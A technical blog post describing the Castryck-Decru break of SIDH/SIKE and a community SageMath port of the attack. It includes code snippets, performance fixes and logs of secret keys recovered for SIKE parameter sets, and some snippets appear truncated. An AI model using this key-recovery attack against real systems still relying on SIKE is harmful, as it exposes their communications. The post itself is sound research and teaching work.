Constructing new cryptographic algorithms is complicated. Furthermore, for asymmetric algorithms, we rely on the existence of some trapdoor function which is easy to perform one way and hard to undo the other. Typically, mathematics is used to create these functions (multiplication/factoring for RSA or exponentiation/discrete logarithms for elliptic curves). These mathematical trapdoors always come with some associated structure. The hope is that we understand the structure enough that we can confidently assume certain problems are hard to solve. In a quantum setting, it is the Abelian group structure of the ring of integers modulo N and the group of points on an elliptic curve which results in the break of RSA and ECC.

The balancing act of structure and cryptographically hard problems is at the heart of why projects such as the NIST PQCrypto Project take so long, with multiple rounds and iterative algorithm design. Cryptographic protocols can be designed and studied for years only to break after one very clever idea. This happened recently when Ward Beullens published Breaking Rainbow Takes a Weekend on a Laptop in June 2022, effectively knocking Rainbow out of the PQC project.

Last month, NIST recently announced the end of round three of the project and with it, their first selection of algorithms to be standardised for cryptographic applications:

  • CRYSTALS-Kyber (KEM).
  • CRYSTALS-Dilithium, Falcon, and SPHINCS+ (Digital signatures).

To ensure diversity of trapdoor functions, NIST are starting round four. The hope is to find new KEM algorithms which have different hardness assumptions to Kyber, increasing the chances of having a long-lasting, quantum-safe KEM. A recent blog post by Thomas Pornin discusses in more detail the round three selections and a history of the NIST PQC project.

SIKE: Supersingular Isogeny Key Exchange

One of the candidates selected for round four is SIKE (Supersingular Isogeny Key Encapsulation), an isogeny based KEM which uses SIDH to perform the key exchange. This blog post won’t be a precise discussion of isogeny based cryptography, but for those who are interested here are some links to click through for a great first introduction:

To give some intuition though, we give an inaccurate but morally correct overview of what’s happening by first making a stop past something more familiar.

In an elliptic curve key exchange, a shared secret is found in the following way. Alice and Bob both start with a fixed point and using a secret number they “move” from this point to their new points A and B, which are made public. They send these to each other and then Alice (Bob) moves from B (A) as they did before, using the same secret number on the new point. By doing this, they end up at the same “place”, a point S, and this is used to derive a key for the rest of their communication.

In SIDH a very similar thing happens. Alice and Bob both start from the same place, but now instead of the start being a point on a curve, it is an elliptic curve itself. For reasons that aren’t necessary when so many other details are missing, not any old curve will do here. A special type of curve is used, which mathematicians know as a supersingular elliptic curve.

Alice and Bob then “move” from a public starting curve to some new curve, which will be part of the public data. This “movement” between curves is performed by creating a secret isogeny, which is a clever map which takes Alice from one curve to some other supersingular curve (while also preserving the group structure of the curve). The isogeny can be generated efficiently because of the clever parameters SIDH uses and for this post, it’s enough to know that Alice creates her secret isogeny by generating a secret integer. This is mixed into some fixed elliptic curve points which are defined by the SIKE parameters. This resulting secret point is what is used to generate the secret isogeny. The takeaway is: if an attacker can recover this secret integer, the whole protocol is broken.

To perform a key exchange, Alice and Bob both generate random numbers and use these to create secret isogenies. They use these to move to some new curves E_A and E_{B} and they share these curves with each other. The Isogeny path problem is that given two elliptic curves, it is generally very hard to determine the isogeny which links them. If you want a visual picture, the isogenies linking supersingular curves make a very messy graph and it’s easy to get lost. This is similar in feeling to how given two points in an elliptic curve key exchange, the discrete log problem is that it’s assumed to be hard to recover the integer which relates them.

In SIDH things aren’t quite as simple as the elliptic curve example. Given each other’s public curves, if Alice and Bob both naively use their isogenies again to try and move to the same place, they do not end up on a shared curve. All is not lost though, SIDH fixes this by including additional information in the exchange. Not only does Alice (Bob) send Bob (Alice) their public curve, they also use their isogeny and use it to map a pair of public points from the starting curve to their new curve. These extra points are known as the torsion, or auxiliary points. Sending a package of the mapped curve with the pair of mapped points is enough to ensure Alice and Bob end up on a shared secret curve (technically, up to isomorphism, but if this doesn’t make sense, forget you read it) and this can be used to derive keys.

SIKE builds on the SIDH protocol with fixed parameters and key encapsulation. But for our purposes for this attack, breaking SIDH also breaks all parameter sets of SIKE.

Since SIDH has been proposed, the inclusion of additional information by sending the image of the torsion points has worried researchers. The concern was that the isogeny path finding problem could remain hard while the potentially easier problem, known as the Supersingular Decision Diffie-Hellman problem, could be broken through some information leaked out by how the secret isogeny acts on these auxillary points.

This is the problem which Wouter Castryck and Thomas Decru have shown is easy! It turns out, the structure which is currently used in SIDH to make a sensible key-exchange mechanism leaked too much information about secret values. Through some genius mathematics and a deep understanding of the protocol, the Castryck-Decru attack recovers Bob’s secret isogeny in polynomial time.

This blog post is a celebration of this attack, and to talk about it, we talk about its implementation. The proof-of-concept code that Castryck and Decru shared with their paper was written to run in a special computer algebra software package called Magma. So, what’s Magma?

Computer algebra software

Cryptographic attacks which rely on advanced mathematics are often written using specialised mathematical software. For cases when the code needs to be hyper-optimised, the code is then usually translated to a more performant language after a proof of concept is developed. However, more often than not, these pieces of software are advanced enough to do what the researchers need. Let’s review two of the most commonly used software systems.

  • Magma is a computer algebra software package maintained by the University of Sydney. It is known for having expansive coverage, with efficient implementations of computational algorithms from algebra, number theory and algebraic geometry. It is also closed source, expensive and only available to people associated with institutions who maintain licence distribution.
  • SageMath is a free, open-source mathematics software system licensed under the GPL. Its mission is to “Create a viable free open source alternative to Magma, Maple, Mathematica and Matlab.” SageMath is built on top of Python, but many algorithms come from other open-source packages and are accessed through wrappers and interfaces, allowing high performance computation.

Because of the barriers to getting hold of Magma, many people active in the cryptographic research community don’t have access. However, if you are interested and want to run snippets of code, the Magma calculator allows cloud based computations (albeit with a two-minute run time limit).

In contrast, everyone with a computer has access to SageMath. Personally, I have used it extensively to learn about cryptography, build and deliver cryptography challenges for CryptoHack, and even occasionally to implement maths papers for fun! It’s an incredible piece of software.

Overview of the attack

Another disclaimer before starting this section, this blog post does not aim to give a comprehensive discussion of how Castryck and Decru have broken SIDH. The mathematics is very advanced, and requires a deep understanding of how SIDH works, as well as the more esoteric research of Abelian surfaces and Richelot isogenies.

The hope is only to give enough context that the rest of the post is motivated and enjoyable to read. So before starting, here are some great resources from the community discussing the result which the interested reader can browse through:

Attacking the structure of SIDH

Note: if you’re happy just accepting there’s a clever mathematics which makes this attack work, you can skip the next two sections!

To allow the attack to be successful, the attack uses several properties of the SIDH protocol and SIKE parameters. Whether all of these conditions are necessary for the attack to work are part of ongoing research, but to set the scene, let’s look at what is used.

The public key contains the image of the torsion points

  • This is totally vital for the attack. They are also totally vital for SIDH to be a sensible key exchange protocol, so in its current form, SIDH cannot avoid this part of the attack.
  • Knowing how the secret isogeny acts on the torsion points has been worrying for a long time. In Improved torsion-point attacks on SIDH variants, the authors of the paper heavily reduced the parameter space for SIDH, but the attack did not extend to the SIKE parameters.
  • In section 8.1 of the paper, arbitrary torsion points are discussed. It is thought that changing the form of the prime (and hence changing the torsion points) should inherently change nothing about the attack.

The secret isogenies have a fixed degree

  • Alice computes an isogeny of degree 2^a and Bob computes an isogeny of degree 3^b. This is the core of how the algorithm works, but it is also core to how the attack works.

The above two properties are the most important and are also special to SIDH. For this reason, people believe the attack cannot be generalised to other isogeny based schemes such as CSIDH or SQISign, which do not have isogenies of a fixed degree or additional torsion points.

The starting curve has a known endomorphism ring

  • Generating supersingular curves randomly is hard. Of the p^2 possible elliptic curves, only (about) \lfloor p/12 \rfloor are supersingular. For cryptographically large p, finding a supersingular curve by guessing is not reasonable.
  • Luckily, we have a way to write down a special supersingular curve for a given prime (which comes from the theory of complex multiplication). However, this method also gives us more structure: we learn the endomorphism ring of the curve.
  • One could use one of these curves, then generate an isogeny to walk to some random curve. However, knowing the starting curve and the isogeny used to get the new curve also leaks the endomorpishm ring of the new curve.
  • In sections 8.2 and 8.3, Castryck and Decru outline that the attack should weaken the security of SIKE parameters, even when the endomorphism ring of the starting curve unknown.

The Glue-and-Split oracle

From a high level, Castryck and Decru’s attack recovers the secret integer (in base 3) which is used to generate the secret isogeny; it does not directly compute the secret isogeny itself. The algorithm works by taking a step along the unknown path and asking the oracle if the step was correct. Depending on the return value, a new step can be guessed, or it can continue down the path to discover the next secret digit.

Walking down Bob’s secret path, there are only one of three directions to take after each step. This means for each step that is taken, at most two calls to the oracle are needed. This is what makes the attack so efficient. Every step (except for the first few, depending on the parameter choices) can be validated one by one and the secret integer is recovered digit-by-digit.

The genius of the attack was finding a method to validate whether the step taken is on the right path. As the constructed oracle only requires public data, the SIDH protocol as currently implemented is totally broken. Due to the efficiency of the attack, the common defense of increasing the bit-size of the parameter space is not suitable.

The oracle begins with the collected public data. A cleverly constructed isogeny allows the creation of a new curve C from the starting curve E_{start}. Very loosely, the oracle takes these two curves and makes a new object from their product, which can be seen as a higher-dimension abelian surface. The Glue-and-Split oracle then takes pairs of points from E_{start}: (P,Q) and C: (P_C, Q_C) and represents them as points on this higher-dimensional object (P_C, P) and (Q_C,Q) (these are points on the Jacobian of a hyperelliptic curve).

This hyperelliptic curve and pair of new points are mapped through a chain of isogenies (known as Richelot isogenies). At the end of this chain, if the hyperelliptic curve can be decomposed back into a product of elliptic curves, then the correct digit must have been guessed. The reason this all works is because of a theorem by Kani (1997) and the ability to construct the auxiliary isogeny from E to C (which in the current implementation abuses the known endomorpishm ring of the curve).

Implementing the attack

The following discussion is a fairly informal write-up of the 24-hour period starting from an empty repository and ending with a efficient implementation of the attack. The hope is that this not only helps to give a good review of the pieces that come together for the attack to work, but also gives an impression of the problems which arise when implementing mathematical algorithms (and other issues introduced by rushing fingers a little too excited to type precisely).

Learning Magma: or how I came to love syntax bugs

The first step of converting Magma to SageMath was understanding how to translate the syntax. Some changes, like variable declaration with a := 1; rather than a = 1 were simple to fix up.

Additionally, many of the higher-level mathematical objects such as EllipticCurve() orPolynomialRing() had almost identical representations. For anything I didn’t recognise, it was usually enough to find the function in the Magma Documentation, read the expected behaviour and find the relevant function in the SageMath Documentation. In some cases Magma had support for structures which SageMath didn’t perfectly mirror.

One example of this was that Magma can work with multivariate function fields:

// magma
Uff<u0, u1, v0, v1> := FunctionField(Fp2, 4);

However, when trying to define this in SageMath, it was found that only univariate function fields could be constructed directly. The workaround for this was found in the community support forum where it was explained that you could create a suitable object by first defining a multivariate polynomial ring and then creating the fraction field from it:

# SageMath
Uff_poly.<u0, u1, v0, v1> = PolynomialRing(Fp2, 4)
Uff = Uff_poly.fraction_field()

Mathematics aside, the difference which caused the most bugs during conversion was very simple. Magma accesses elements in arrays using 1-index, and when looping through a range, it is inclusive of the upper bound. In contrast, SageMath is 0-indexed and does not include the upper bound. In this sense, Magma behaves in the “old-style” similar to Fortran or Pascal, where as (via Python) SageMath follows the 0-index convention started with C (or rather its predecessor B).

As an example: printing out integers from an array in both languages would be achieved as:

// Magma 
my_array := [2,3,5,7,11];

for i in [1..5] do
 print my_array[i];
end for;
// output: 2,3,5,7,11
# SageMath
my_array = [2,3,5,7,11]

for i in range(0,5):
# output: 2,3,5,7,11

This meant that careless copy-pasting and tidying could easily introduce off-by-one errors throughout the code. This is exactly what happened and correcting these syntax typos was being done all the way up to the code working!

Getting organised

The first goal was to reimplement the SIKE_challenge.m file, which was an implementation of the attack which was said to have solved Microsoft’s $IKEp217 challenge (this was announced last year, with a cash bounty of $50,000 for the first team to crack it). The prime used has only half the bits of the NIST level 1 parameters (SIKEp434) and supposedly ran in approximately 5 minutes using the Magma script (too long for the free Magma calculator, sadly…). As such, it was the perfect place to start.

The work to reimplement the attack was split between fairly easy but busy work translating SIKE_challenge.m into valid SageMath and more careful and mathematical work reimplementing the functions in the helper file richelot_aux.m. If this attack worked it would then be a case of changing a handful of lines for the attack on SIKEp434, which was said to take about one hour to complete when running the Magma files.

Opening up richelot_aux.m, the first thing to do was to read through the functions and get an idea of the work ahead:

  • Does22ChainSplit()
    • The main oracle, which given the necessary curves and points returns True when the correct digit is guessed.
    • First thought: not too hard.
  • FromProdToJac() and FromJacToJac()
    • Helper functions for Does22ChainSplit() which takes us from points on an elliptic curve to points on the Jacobian of a hyperelliptic curve and then performs the Richelot isogenies.
    • First thought: very long with a couple scary lines which SageMath might have trouble with
  • Pushing3Chain()
    • Compute a chain of isogenies given a curve, quotienting out point of order 3^i .
    • First thought: easy. Very similar to code I’ve written before.
    • In fact thanks to a recent update to SageMath by Lorenz Panny, this could probably be swapped out for E.isogeny(K, algorithm="factored"). However, to align the code with the PoC, it was decided to reimplement the function as it appeared in the Magma code.
  • Pushing9Chain() and OddCyclicSumOfSquares()
    • Obsolete code, which could be simply ignored. OddCyclicSumOfSquares() is almost certainly the code which was used to precompute the values u,v in uvtable.m. As there’s no need to recompute this array, the function is not needed.

As the function is short, here’s the Magma, then SageMath version of Pushing3Chain(). This is a fair representation of how similar code written in Magma and SageMath is:

// Magma
function Pushing3Chain(E, P, i)
 // compute chain of isogenies quotienting out a point P of order 3^i
 Fp2 := BaseField(E);
 R<x> := PolynomialRing(Fp2);
 chain := [];
 C := E;
 remainingker := P;
 for j in [1..i] do
   kerpol := x - (3^(i-j)*remainingker)[1];
   C, comp := IsogenyFromKernel(C, kerpol);
   remainingker := comp(remainingker);
   chain cat:=[comp];
 end for;
 return C, chain;
end function;
# SageMath
def Pushing3Chain(E, P, i):
   # Compute chain of isogenies quotienting out a point P of order 3^i
   Fp2 = E.base()
   R.<x> = PolynomialRing(Fp2)
   chain = []
   C = E
   remainingker = P
   for j in range(1, i+1):
       kerpol = x - (3^(i-j)*remainingker)[0]
       comp = EllipticCurveIsogeny(C, kerpol)
       C = comp.codomain()
       remainingker = comp(remainingker)
   return C, chain

Aside from worrying about the helper functions, Does22ChainSplit() was just as simple to reimplement. SIKE_challenge.m itself was about 300 lines of syntax changes (switching out loops, populating arrays with integers). There was a bit of work composing some isogenies, computing Weil pairings and doing some elliptic curve arithmetic, but thanks to previous experience in writing similar code, the conversion went fairly smoothly.

Two functions to go, this was going to be done by lunch!

Warning: falling back to very slow toy implementation

The first major difficulty came while reimplementing FromProdToJac(). At a high level, this function takes points P,Q on an elliptic curve E and points P_C , Q_C on the elliptic curve C and computes the image of the points (P_C, P) and (Q_C, Q) on the Jacobian of a hyperelliptic curve. Hmm ok maybe that’s not such a high level.

Brushing aside what it does, let’s talk about how it tries to do this.

First, five multivariate equations in four variables are defined. Although the lines which do this look dense, the similarity between Magma and SageMath meant not much work was needed at all. The goal is to find a solution to all five equations, which can then be used to construct the necessary points on the Jacobian of the target hyperelliptic curve. Details of this process are is described in section 6.1 of the paper.

The standard method to solve systems of equations like this is to first build a Gröbner basis from the equations. Magma comes with GrobnerBasis() and it is very efficient and works with a wide range of polynomial rings. The following code snippet doesn’t obviously use GrobnerBasis(), instead a scheme is created from an affine space and the set of equations. Calling Points(V) on the scheme finds the set of points, which are equivalently the set of solutions to the polynomials! Points(V) does this by (in part) calling GrobnerBasis() under the hood.

A4<U0, U1, V0, V1> := AffineSpace(Fp2, 4);
V := Scheme(A4, [eq1, eq2, eq3, eq4, eq5]);

// point with zero coordinates probably correspond to "extra" solutions,
// we should be left with 4 sols (code may fail over small fields)

realsols := [];
for D in Points(V) do
   Dseq := Eltseq(D);
   if not 0 in Dseq then
       realsols cat:= [Dseq];
   end if;
end for;

Rewriting this in SageMath, we get something that looks very similar

A4.<U0, U1, V0, V1> = AffineSpace(Fp2, 4)
V = A4.subscheme([eq1, eq2, eq3, eq4, eq5])

# point with zero coordinates probably correspond to "extra" solutions,
# we should be left with 4 sols (code may fail over small fields)

realsols = []
for D in V.rational_points():
   Dseq = list(D)
   if not 0 in Dseq:

Again, like Magma, this calls grobner_basis() under the hood to find the set of points. However, running this code, we get the following message from SageMath:

verbose 0 (3848: multi_polynomial_ideal.py, groebner_basis) Warning: falling back to very slow toy implementation.

Uh oh… Just how slow is very slow? When running the attack, FromProdToJac()would be called for each oracle request. This meant it would be called a few hundred times for the easiest $IKEp217 challenge and a magnitude more for the hardest parameter set.

To see how slow very slow was, the code was left running while some fresh coffee was brewed and coming back to the terminal, a second warning was now showing:

verbose 0 (3848: multi_polynomial_ideal.py, groebner_basis) Warning: falling back to very slow toy implementation.
verbose 0 (1081: multi_polynomial_ideal.py, dimension) Warning: falling back to very slow toy implementation.

Okay, so technically this is progress, but considering the Magma file was totally finished within five minutes, we would need a smarter way to solve this problem if there was any hope to have this script recover the secret key.

When in doubt, make things easier

The usual method when solving problems like this using SageMath is to go crawling through the documentation. This wasn’t the first time a problem like this had come up while implementing algorithms and so the hope was some new ideas would start jumping out if enough documentation was read through.

Years of research experience quickly suggested that the first thing to do was to simply reduce the complexity of the problem. The file SIKE_challenge.sage was rewritten as the new baby_SIDH.sage, which shared a very similar structure, but now with a much smaller, 64-bit prime. The hope was to find something which worked reasonably on this smaller problem then worry later about making it more efficient after it was confirmed that the attack worked.

To create baby SIDH SIKEp64, first a prime was found such that p \equiv 3 \pmod 4 and p = 2^a 3^b - 1:

# Baby SIKEp64 parameters
a = 33
b = 19
p = 2^a*3^b - 1

Then reusing some old code from other isogeny projects, fresh public torsion points were generated as well:

def get_l_torsion_basis(E, l):
   n = (p+1) // l
   return (n*G for G in E.gens())

P2, Q2 = get_l_torsion_basis(E_start, 2^a)
P3, Q3 = get_l_torsion_basis(E_start, 3^b)

# Make sure Torsion points are
# generated correctly
assert 2^(a-1)*P2 != infty
assert 3^(b-1)*P3 != infty
assert P2.weil_pairing(Q2, 2^a)^(2^(a-1)) != 1
assert P3.weil_pairing(Q3, 3^b)^(3^(b-1)) != 1

Using the baby parameters with a SIDH key generation, the public data could be pushed back into the attack and…

verbose 0 (3848: multi_polynomial_ideal.py, groebner_basis) Warning: falling back to very slow toy implementation.
verbose 0 (1081: multi_polynomial_ideal.py, dimension) Warning: falling back to very slow toy implementation.

After letting this run for about 30 minutes the program was exited. It was obvious that this method was the wrong avenue for the SageMath implementation. Back to the drawing board.

The things you can do with friends by your SIDH

While fishing around more and more specific searches such as “sagemath fast groebner basis multivariate polynomial ring” (this is the page that seems like the solution should be in, but nothing ever quite worked) I additionally asked my CryptoHack friends for advice and made a tweet explaining the problem.

SageMath is used by a lot of people in the crypto community, and often people find clever tricks when solving puzzles and CTF challenges which come in handy in times like this. The hope was that someone had solved a similar problem before and could point toward the correct way to construct the solution.

Pretty quickly after reaching out to people, some really cool suggestions were offered. The power of the internet!

  • Lorenz Panny suggested to Weil restrict the equations by introducing an extra variable and move from working in F_{p^2} to F_p
    • This meant the toy implementation of Gröbner was not needed anymore as the polynomial ring would be defined over a simpler field, but now the system of equations was so complicated, the code was still too slow
  • Tony Shaska suggested that instead of computing the Gröbner bases, a faster method could be to instead use resultants to remove variables from the equation one at a time and then solve the equation in a univariate polynomial ring and work backwards.
    • This is a clever idea but SageMath was still too inefficient. The only method I had to compute resultants for the polynomial ring was using the determinant of the Sylvester matrix and this is very slow.
  • Bryan Gillespie suggested to try and use the Macaulay2 interface to compute the Gröbner basis. This doesn’t come with SageMath by default, but is free and open-source and can be included pretty easily. It’s also known for being pretty fast
    • This might work, but the current SageMath interface doesn’t allow for sending extension fields to Macaulay2 (it’s not even certain from the documentation that Macaulay2 can do this, but the SageMath interface certainly can’t). For this to have a chance at working, one would first have to re-write the interface.

The solution came from Rémy Oudompheng, who saw a way to avoid the problem altogether:

Are you trying to lift a pair (P, Pc) to the Jacobian? I wonder if it’s easier to lift (P, 0) to a divisor on H, lift (0, Pc) to a divisor and add them? I may be confused but it feels like it gives the answer without solving any equation

Original Tweet

Rémy joined me in the CryptoHack discord and we started chatting more about how this could solve the problem. His novel solution to the lifting described in section 6.1 seemed to be working, and what’s more, the same ideas would carry over to the JacToJac() function. Only days after the initial attack, it was wonderful seeing new perspectives on how to efficiently solve the problem.

This is a beautiful result and I’m really happy to have had the time working with Rémy on this. I never would have had the above insight to dodge the slow toy implementation and it gave me an opportunity to learn more about hyperelliptic curves.

Piecing it all together

While Rémy worked on his novel implementation for FromProdToJac() and FromJacToJac(), the remaining work was to go through the rest of the Magma code and convert it to valid SageMath. With these last two functions finished and the rest of the attack all scripted, it was time to see whether the algorithm could recover Bob’s private key given only public data generated from the baby SIDH parameters.

Before the gratification of a successful run, as is usual with late night coding, some additional off by one errors were introduced and then removed while Rémy pushed the new hyperelliptic lifting and Richelot isogeny code. We both ran our script, which failed dramatically in the last few lines when constructing the private key thanks to more syntax errors:

key = sum(skB[i]*3^(i-1) for i in range(1..b-2))
TypeError: 'generator' object cannot be interpreted as an integer

Off by one and a remaining .. in the range!! Fixing this to what should have been written all along:

# Magma
# key := &+[skB[i]*3^(i-1) : i in [1..b-3]];
# SageMath
key = sum(skB[i]*3^i for i in range(b-3))

the following output appeared in the terminal:

Bridging last gap took: 0.1307520866394043
Bob's secret key revealed as: 15002860
In ternary, this is: [1, 1, 1, 1, 0, 0, 0, 2, 0, 0, 2, 0, 1, 0, 0, 1]
Altogether this took 43.73990249633789 seconds.

It worked!! The attack successfully recovered Bob’s private key in less than a minute, all thanks to some brilliant mathematics. It was so exciting to see Wouter Castryck and Thomas Decru’s attack run in real time on a laptop.

However, a 64-bit prime wasn’t close to being secure from previously known attacks. So, with confidence that the code was correct, the next test was to see whether the implementation was efficient enough to recover private keys on serious SIDH instances. Could it keep up with the Magma implementation?

Monkeying around with cache optimisation

Running the same attack on the SIKE challenge, the code worked but it was incredibly slow. Something along the way was inefficient as our prime grew, so the new task was to try and identify the sluggish code and clean it up. Profiling the script, most of the run time is spent in JacToJac(). This isn’t surprising, as it’s run approximately 100 times for each oracle call, so it is expected to be dominant in the profiling. However, the recorded slow-down from the baby SIDH parameters seemed much more significant that one would expect by approximately tripling the bit-size of the prime.

With some further analysis, the dramatic slowdown of the algorithm was identified. The root of the problem was due to a SageMath performance issue where rather than caching FiniteField objects they are reconstructed every time they are called. The function JacToJac() is particularly effected due to the heavy use of the group law for the Jacobian of a hyperelliptic curve.

When testing equality of points, the code invokes GF(p^k)(...) for all coefficients. The constructor of the FiniteField includes a primality test of p for every call. As this is called on every coefficient of every point when performing arithmetic operations, we’re constructing objects and performing primality tests thousands of times. The larger the prime, the more expensive this construction becomes.

Rémy decided to fix this issue this by patching SageMath itself, modifying sage.categories.fields so that the vector space is cached:

from sage.misc.cachefunc import cached_method

def vector_space(self, *args, **kwds):

This ensures that each distinct vector field is constructed only once.

With this fix, the implementation broke the $IKEp217 challenge in only 15 minutes. Not bad when compared to the purported Magma time of approximately 5 minutes.

Bridging last gap took: 6.489821910858154
Bob's secret key revealed as: 5xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx2
In ternary, this is: [0, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, 1]
Altogether this took 795.5218527317047 seconds.
sage SIKE_challenge.sage 785.42s user 22.78s system 101% cpu 13:19.19 total

Overnight, Rémy also ran the attack on the SIKEp434 parameter set. The secret key was recovered in only an hour and a half, amazing result when the Magma implementation took approximately one hour!

Bridging last gap took: 14.06521987915039
Bob's secret key revealed as: 107365402940497059258054462948684901858655170389077481076399249199
In ternary, this is: [2, 1, 2, 1, 1, 0, 1, 2, 0, 2, 1, 0, 1, 2, 2, 2, 1, 0, 2, 1, 0, 2, 1, 2, 2, 2, 1, 1, 1, 0, 0, 2, 2, 0, 1, 1, 2, 2, 2, 0, 2, 1, 0, 1, 0, 0, 0, 0, 0, 0, 2, 2, 0, 2, 0, 0, 2, 1, 1, 1, 0, 0, 2, 1, 2, 1, 0, 2, 1, 2, 1, 0, 1, 1, 0, 2, 1, 0, 2, 1, 0, 0, 1, 1, 0, 0, 2, 2, 2, 0, 2, 2, 0, 1, 1, 1, 0, 0, 0, 2, 1, 0, 2, 0, 1, 0, 1, 0, 1, 2, 1, 2, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 1, 0, 0, 0, 1, 1, 2, 0, 1, 1, 1, 0, 1, 1]
Altogether this took 5233.838165044785 seconds.

The next morning, inspired by these results, the goal was to find a way to have this same performance without directly patching SageMath. The motivation for this reimplementation was to allow people to run the code themselves and it was important to make this as easy as possible.

A gentler fix was to set the flag proof.arithmetic(False) in the code. This globally tells SageMath to use (among many things) a much faster, probabilistic primality test. We’re not worried about false positives this could (very rarely) introduce, as we are working with a known, fixed prime. As an example of how dramatic this speed up is, a primality test of a 1024 bit integer is more than 1000 times as fast:

sage: p = random_prime(2^1024)
sage: time is_prime(p)
CPU times: user 2.83 s, sys: 13.4 ms, total: 2.85 s
Wall time: 2.86 s
sage: proof.arithmetic(False)
sage: time is_prime(p)
CPU times: user 2.1 ms, sys: 0 ns, total: 2.1 ms
Wall time: 2.11 ms

This doesn’t address the construction of the vector space again and again, but by dropping the expensive primality test on every call the hope that it’s fast enough (or at least a good start).

By including the proof flag into the script, SIKE_challenge.sage broke the $IKEp217 challenge in 30 minutes without any additional patches:

Bridging last gap took: 9.461672067642212
Bob's secret key revealed as: 5xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx2
In ternary, this is: [0, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, 1]
Altogether this took 1799.0663061141968 seconds.

However, while this code was running Robin Jadoul found a way to achieve the same result as Rémy’s SageMath patch with the following in-line monkey patch by including

Fp2.<i> = GF(p^2, modulus=x^2+1)
type(Fp2).vector_space = sage.misc.cachefunc.cached_method(type(Fp2).vector_space)

This ensures the vector field is cached as in Rémy’s patch, but the fix can be done during run time. This allows all users of the script to get the speed up without modifying the SageMath source. This is a really important fix, so huge thanks to Robin. Without it, the hardest parameter sets would have been out of reach without hard-patching SageMath.

Optimising using mathematics

The next set of performance enhancements are thanks to Rémy’s optimizations of the function JacToJac(). This is the obvious place to focus as it’s where the attack spends most of its time. Optimisations can be viewed in the following pull requests:

Accumulatively, these performance enhancements are fantastic and we see more than a 3-times speed up for the code, pushing the SageMath implementation to be more performant than the Magma implementation!

Optimising using better SageMath practices

The last speed ups came from running profilers on our code and adjusting how objects were called to avoid slowdown from how Python was constructing and manipulating polynomials, points and Jacobians and isogenies. A non-exhaustive list of tricks we used:

  • Hard-code dimension of curve #10
    • When constructing the Jacobian of a hyperelliptic curve, an expensive, redundant computation of the curve’s dimension is performed (a curve’s dimension is always 1). We applied a monkey patch to address this.
  • Twice faster Jacobian quotients #13
    • Using points rather than polynomials for the isogeny kernel uses Vélu’s formulas rather than Kohel’s formulas, which are faster.
    • Elliptic isogenies were made more performant by passing the known degree as an optional argument and removing the internal validity check.

Breaking SIDH on a laptop

To celebrate, let’s look at the recored runtimes of our implementation across all parameters.

Vanilla 🍦 No Proof 😴 Monkey Patch 🐵 Current Version 🏃🏻💨
Baby SIDH (SIKEp64) 1 minute 1 minute 1 minute 5 seconds
$IKEp217 Challenge 30 minutes 15 minutes 2 minutes
SIKEp434 1.5 hours 10 minutes
SIKEp503 3.5 hours 15 minutes
SIKEp610 25 minutes
SIKEp751 1-2 hours
All recorded times were achieved on a MacBook with Intel i7 CPU @ 2.6 GHz on a single core. Elements of the table without an entry haven’t been run.

Although most digits of the key can be recovered one by one, the first set of digits must be collected together. For SIKEp64, $IKEp217 and SIKEp434 only the first two digits need to be collected together, with a worst case of 3^2 = 9 calls to the oracle to recover the values.


  • For SIKEp503 the worst case is we make 3^4 = 81 calls for the first 4 digits.
  • For SIKEp610 the worst case is we make 3^5 = 243 calls for the first 5 digits.
  • For SIKEp751 the worst case is we make 3^6 = 729 calls for the first 6 digits.

This means that in the worst case when attacking SIKEp751 more than half of the computation time is spent collecting the first 6 of the 239 digits!

Estimating the running time

We can estimate an average running time from the expected number of calls to the oracle Does22ChainSplit(). This still won’t be totally accurate but gives some rough estimates which seem to agree with our recorded values.

  • For the first \beta_1 digits, at most 3^{\beta_1} calls to Does22ChainSplit() are needed and half of this on average
  • For the remaining b - \beta_1 digits Does22ChainSplit() is called only once when j = 0 and twice when j = 1 or j = 2. It is then expected on average to call the oracle once a third of the time and twice for the remaining two thirds of the digits.

Expressing the approximate time cost of a single call of Does22ChainSplit() as c, the estimate the total cost can be expressed as:

\displaystyle \textsf{Cost} = c \cdot \frac{3^{\beta_1}}{2} + c \cdot \frac{(b - \beta_1)}{3} + 2c \cdot \frac{2(b - \beta_1)}{3}

Which looks slightly cleaner written as:

\displaystyle \textsf{Cost} = c \left(\frac{3^{\beta_1}}{2} + \frac{5(b - \beta_1)}{3} \right), \; \; \textsf{Worst Start} = c \left(3^{\beta_1} + \frac{5(b - \beta_1)}{3} \right)

Parameters c \beta_1 Average Cost Worst Case Start
SIKEp64 0.2s 2 5 seconds 7 seconds
$IKEp217 1s 2 2 minutes 2 minutes
SIKEp434 3.4s 2 13 minutes 13 minutes
SIKEp503 4.5s 4 22 minutes 25 minutes
SIKEp610 6s 5 43 minutes 1 hour
SIKEp751 8.4s 6 1.75 hours 2.6 hours
Here, c has been estimated using a MacBook Pro using a Intel Core i7 CPU @ 2.6 GHz. Note: as c was benchmarked from the first oracle calls, these are over-estimates, as the oracle calls become faster as more digits are collected.


As a community, the plan is to keep working on our implementation, attempting to make the code more readable and performant. The end-goal is for this implementation to be a valuable resource that students and researchers can use to learn about this truly beautiful attack.

Furthermore, the community should continue to work together on SageMath. It’s an incredible resource, and the hope is that this blog post is an indication of how versatile and powerful it can be at implementing very high-level mathematics.

Some of problems we encountered along the way have already been submitted to be taken into the next release of SageMath. In particular, Lorenz Panny has fixed the need for including the monkey patch for the Finite Field caching.

The performance enhancements that we have included in our implementation just show how much more room there is to develop this attack and our understanding of the relationship between elliptic curves and higher dimensional Jacobians in cryptanalysis.

Congratulations to Wouter Castryck and Thomas Decru!

What’s next for isogenies?

  • With only a preliminary version of the attack on eprint, it will take the full paper, and community research time to really understand how far the Castryck-Decru attack can be generalised.
  • Unlike some historic attacks, simply increasing key sizes for SIKE is not sufficent. If SIDH is to reappear as a cryptographic protocol, it will need a design overhaul to remove all structure which this attack relies on for key recovery.
    • As this blog post is edited, a proposal to modify SIDH to protect against this attack: Masked-degree SIDH by Tomoki Moriya has appeared on eprint.
